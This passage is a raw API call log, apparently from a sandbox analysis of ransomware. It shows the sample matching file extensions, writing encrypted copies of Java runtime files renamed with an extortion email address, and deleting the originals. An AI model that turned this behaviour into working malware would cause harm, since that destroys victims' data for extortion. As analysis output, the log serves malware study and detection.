(lpString=".doc") returned 4 [0144.428] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.428] lstrlenW (lpString=".docx") returned 5 [0144.428] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0144.428] lstrlenW (lpString=".pdf") returned 4 [0144.429] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.429] lstrlenW (lpString=".xls") returned 4 [0144.429] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.429] lstrlenW (lpString=".xlsx") returned 5 [0144.429] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0144.429] lstrlenW (lpString=".ppt") returned 4 [0144.429] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0144.429] lstrlenW (lpString=".zip") returned 4 [0144.429] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.429] lstrlenW (lpString=".rar") returned 4 [0144.429] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.429] lstrlenW (lpString=".bz2") returned 4 [0144.429] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.429] lstrlenW (lpString=".7z") returned 3 [0144.429] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0144.429] lstrlenW (lpString=".dbf") returned 4 [0144.429] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.750] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.750] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.750] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0144.751] GetLastError () returned 0x0 [0144.751] ReadFile (in: hFile=0x1088, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x218e, lpOverlapped=0x0) returned 1 [0144.894] WriteFile (in: hFile=0x1080, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2190, lpOverlapped=0x0) returned 1 [0144.895] ReadFile (in: hFile=0x1088, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.895] WriteFile (in: hFile=0x1080, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0144.895] SetEndOfFile (hFile=0x1080) returned 1 [0144.895] CloseHandle (hObject=0x1080) returned 1 [0144.897] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.897] SetEndOfFile (hFile=0x1088) returned 1 [0144.898] CloseHandle (hObject=0x1088) returned 1 [0144.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.898] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0144.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.898] lstrlenW (lpString=".doc") returned 4 [0144.898] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0144.898] lstrlenW (lpString=".docx") returned 5 [0144.899] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0144.899] lstrlenW (lpString=".pdf") returned 4 [0144.899] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0144.899] lstrlenW (lpString=".xls") returned 4 [0144.899] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0144.899] lstrlenW (lpString=".xlsx") returned 5 [0144.899] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0144.899] lstrlenW (lpString=".ppt") returned 4 [0144.899] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0144.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.899] lstrlenW (lpString=".zip") returned 4 [0144.899] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0144.899] lstrlenW (lpString=".rar") returned 4 [0144.899] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0144.899] lstrlenW (lpString=".bz2") returned 4 [0144.899] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0144.899] lstrlenW (lpString=".7z") returned 3 [0144.899] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0144.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.899] lstrlenW (lpString=".dbf") returned 4 [0144.899] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0144.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.899] lstrlenW (lpString=".1cd") returned 4 [0144.899] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0144.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.899] lstrlenW (lpString=".jpg") returned 4 [0144.899] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0144.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.899] lstrlenW (lpString=".doc") returned 4 [0144.899] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0144.899] lstrlenW (lpString=".docx") returned 5 [0144.899] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0144.899] lstrlenW (lpString=".pdf") returned 4 [0144.899] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0144.900] lstrlenW (lpString=".xls") returned 4 [0144.900] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0144.900] lstrlenW (lpString=".xlsx") returned 5 [0144.900] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0144.900] lstrlenW (lpString=".ppt") returned 4 [0144.900] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0144.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.900] lstrlenW (lpString=".zip") returned 4 [0144.900] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0144.900] lstrlenW (lpString=".rar") returned 4 [0144.900] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0144.900] lstrlenW (lpString=".bz2") returned 4 [0144.900] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0144.900] lstrlenW (lpString=".7z") returned 3 [0144.900] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0144.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.900] lstrlenW (lpString=".dbf") returned 4 [0144.900] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0144.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.900] lstrlenW (lpString=".1cd") returned 4 [0144.900] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0144.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0144.900] lstrlenW (lpString=".jpg") returned 4 [0144.900] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0144.900] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0144.900] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0144.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0144.901] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=12250) returned 1 [0144.901] CloseHandle (hObject=0x1088) returned 1 [0144.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0144.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0144.901] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.901] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0144.901] GetLastError () returned 0x0 [0144.901] ReadFile (in: hFile=0x1088, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2fda, lpOverlapped=0x0) returned 1 [0144.998] WriteFile (in: hFile=0x1080, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0144.999] ReadFile (in: hFile=0x1088, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.999] WriteFile (in: hFile=0x1080, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xfc, lpOverlapped=0x0) returned 1 [0144.999] SetEndOfFile (hFile=0x1080) returned 1 [0145.000] CloseHandle (hObject=0x1080) returned 1 [0145.001] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.001] SetEndOfFile (hFile=0x1088) returned 1 [0145.002] CloseHandle (hObject=0x1088) returned 1 [0145.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.002] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0145.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.002] lstrlenW (lpString=".doc") returned 4 [0145.002] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.002] lstrlenW (lpString=".docx") returned 5 [0145.003] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0145.003] lstrlenW (lpString=".pdf") returned 4 [0145.003] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.003] lstrlenW (lpString=".xls") returned 4 [0145.003] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.003] lstrlenW (lpString=".xlsx") returned 5 [0145.003] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0145.003] lstrlenW (lpString=".ppt") returned 4 [0145.003] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.003] lstrlenW (lpString=".zip") returned 4 [0145.003] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.003] lstrlenW (lpString=".rar") returned 4 [0145.003] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.003] lstrlenW (lpString=".bz2") returned 4 [0145.003] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.003] lstrlenW (lpString=".7z") returned 3 [0145.003] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.003] lstrlenW (lpString=".dbf") returned 4 [0145.003] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.003] lstrlenW (lpString=".1cd") returned 4 [0145.003] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.003] lstrlenW (lpString=".jpg") returned 4 [0145.003] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.004] lstrlenW (lpString=".doc") returned 4 [0145.004] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.004] lstrlenW (lpString=".docx") returned 5 [0145.004] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0145.004] lstrlenW (lpString=".pdf") returned 4 [0145.004] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.004] lstrlenW (lpString=".xls") returned 4 [0145.004] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.004] lstrlenW (lpString=".xlsx") returned 5 [0145.004] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0145.004] lstrlenW (lpString=".ppt") returned 4 [0145.004] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.004] lstrlenW (lpString=".zip") returned 4 [0145.004] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.004] lstrlenW (lpString=".rar") returned 4 [0145.004] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.004] lstrlenW (lpString=".bz2") returned 4 [0145.004] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.004] lstrlenW (lpString=".7z") returned 3 [0145.004] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.004] lstrlenW (lpString=".dbf") returned 4 [0145.004] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.005] lstrlenW (lpString=".1cd") returned 4 [0145.005] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0145.005] lstrlenW (lpString=".jpg") returned 4 [0145.005] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.005] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0145.005] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0145.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.093] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=168) returned 1 [0145.093] CloseHandle (hObject=0x1098) returned 1 [0145.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0145.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.093] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.093] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0145.094] GetLastError () returned 0x0 [0145.094] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xa8, lpOverlapped=0x0) returned 1 [0145.095] WriteFile (in: hFile=0x1090, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xb0, lpOverlapped=0x0) returned 1 [0145.096] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.096] WriteFile (in: hFile=0x1090, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x102, lpOverlapped=0x0) returned 1 [0145.096] SetEndOfFile (hFile=0x1090) returned 1 [0145.096] CloseHandle (hObject=0x1090) returned 1 [0145.097] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.097] SetEndOfFile (hFile=0x1098) returned 1 [0145.098] CloseHandle (hObject=0x1098) returned 1 [0145.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.098] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0145.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.099] lstrlenW (lpString=".doc") returned 4 [0145.099] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.099] lstrlenW (lpString=".docx") returned 5 [0145.099] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.099] lstrlenW (lpString=".pdf") returned 4 [0145.099] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.099] lstrlenW (lpString=".xls") returned 4 [0145.099] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.099] lstrlenW (lpString=".xlsx") returned 5 [0145.099] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.099] lstrlenW (lpString=".ppt") returned 4 [0145.099] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.099] lstrlenW (lpString=".zip") returned 4 [0145.099] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.100] lstrlenW (lpString=".rar") returned 4 [0145.100] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.100] lstrlenW (lpString=".bz2") returned 4 [0145.100] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.100] lstrlenW (lpString=".7z") returned 3 [0145.100] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.100] lstrlenW (lpString=".dbf") returned 4 [0145.100] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.100] lstrlenW (lpString=".1cd") returned 4 [0145.100] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.100] lstrlenW (lpString=".jpg") returned 4 [0145.100] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.100] lstrlenW (lpString=".doc") returned 4 [0145.100] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.100] lstrlenW (lpString=".docx") returned 5 [0145.100] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.100] lstrlenW (lpString=".pdf") returned 4 [0145.100] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.100] lstrlenW (lpString=".xls") returned 4 [0145.100] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.100] lstrlenW (lpString=".xlsx") returned 5 [0145.101] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.101] lstrlenW (lpString=".ppt") returned 4 [0145.101] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.101] lstrlenW (lpString=".zip") returned 4 [0145.101] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.101] lstrlenW (lpString=".rar") returned 4 [0145.101] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.101] lstrlenW (lpString=".bz2") returned 4 [0145.101] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.101] lstrlenW (lpString=".7z") returned 3 [0145.101] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.101] lstrlenW (lpString=".dbf") returned 4 [0145.101] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.101] lstrlenW (lpString=".1cd") returned 4 [0145.101] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0145.101] lstrlenW (lpString=".jpg") returned 4 [0145.101] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.101] lstrcmpiW (lpString1=".txt", lpString2=".com") returned 1 [0145.101] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0145.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 